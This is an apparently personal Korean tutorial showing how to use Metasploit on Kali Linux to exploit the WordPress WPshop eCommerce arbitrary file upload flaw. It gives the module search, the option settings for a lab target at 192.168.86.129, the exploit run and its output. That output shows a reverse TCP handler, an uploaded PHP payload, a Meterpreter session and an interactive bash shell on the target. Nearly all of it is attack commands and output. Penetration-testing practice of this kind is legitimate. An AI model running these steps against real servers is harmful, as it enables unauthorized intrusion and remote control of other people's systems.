System/Cybersecurity

Metasploit을 이용한 Kali Linux에서 원격으로 서버 콘솔에 접속

1) Metasploit 콘솔 접속

1
root@kali:~/ msfconsole
cs

 

 

2) 공격 옵션 설정

 

1
msfconsole > search wpshop
cs

 

wpshop과 관련된 활용 정보를 msfconsole 데이터베이스에서 찾을 수 있다.

 

1
2
3
4
5
6
7
8
9
msf > search wpshop
[!] Module database cache not built yet, using slow search
 
Matching Modules
================
 
   Name                                                 Disclosure Date  Rank       Description
   ----                                                 ---------------  ----       -----------
   exploit/unix/webapp/wp_wpshop_ecommerce_file_upload  2015-03-09       excellent  WordPress WPshop eCommerce Arbitrary File Upload Vulnerability
cs

 

지금은 exploit/unix/webapp/wp_wpshop_ecommerce_file_upload라는 모듈을 사용할 수 있다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
msf > use exploit/unix/webapp/wp_wpshop_ecommerce_file_upload
msf exploit(wp_wpshop_ecommerce_file_upload) > show options
 
Module options (exploit/unix/webapp/wp_wpshop_ecommerce_file_upload):
 
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                       yes       The target address
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   VHOST                       no        HTTP server virtual host
 
 
Exploit target:
 
   Id  Name
   --  ----
   0   WPshop eCommerce 1.3.9.5
cs

 

공격에 필요한 옵션을 확인한다.

Current Setting 항목은 현재 어떻게 설정되어 있는지 알려준다. 사용자가 아무것도 설정해 놓지 않은 상태라면 시스템에서 기본적으로 설정해 놓은 default값이 등록되어 있다.

show options 명령어로 출력된 옵션들 중 Required 항목이 yes라면 필수항목, no라면 필수 항목이 아니다.

(ex: 현재 선택한 모듈은 RHOST, RPORT, TARGETURI를 필수로 설정해 주어야 한다.)

 

1
2
3
msf exploit(wp_wpshop_ecommerce_file_upload) > set RHOST 192.168.86.129
msf exploit(wp_wpshop_ecommerce_file_upload) > set RPORT 7070
msf exploit(wp_wpshop_ecommerce_file_upload) > set TARGETURI /wordpress
cs

 

 

3) 실행

 

1
2
3
4
5
6
7
8
9
10
11
12
13
msf exploit(wp_wpshop_ecommerce_file_upload) > exploit
 
[*] Started reverse TCP handler on 192.168.86.130:4444
[+] Payload uploaded as ycVeBXle.php
[*] Calling payload...
[*] Sending stage (37514 bytes) to 192.168.86.129
[*] Meterpreter session 1 opened (192.168.86.130:4444 -> 192.168.86.129:41858) at 2018-08-29 21:25:16 -0400
[+] Deleted ycVeBXle.php
 
meterpreter > execute -/bin/bash -i
 
Process 3416 created.
Channel 0 created.
cs

 

 

 

 

 

exploit 명령어로 설정된 값들이 모듈에 적용된다.

execute -f /bin/bash -i 명령어는 공격이 실행될 때 /bin/bash 쉘로 서버 콘솔에 접속할 수 있도록 한다.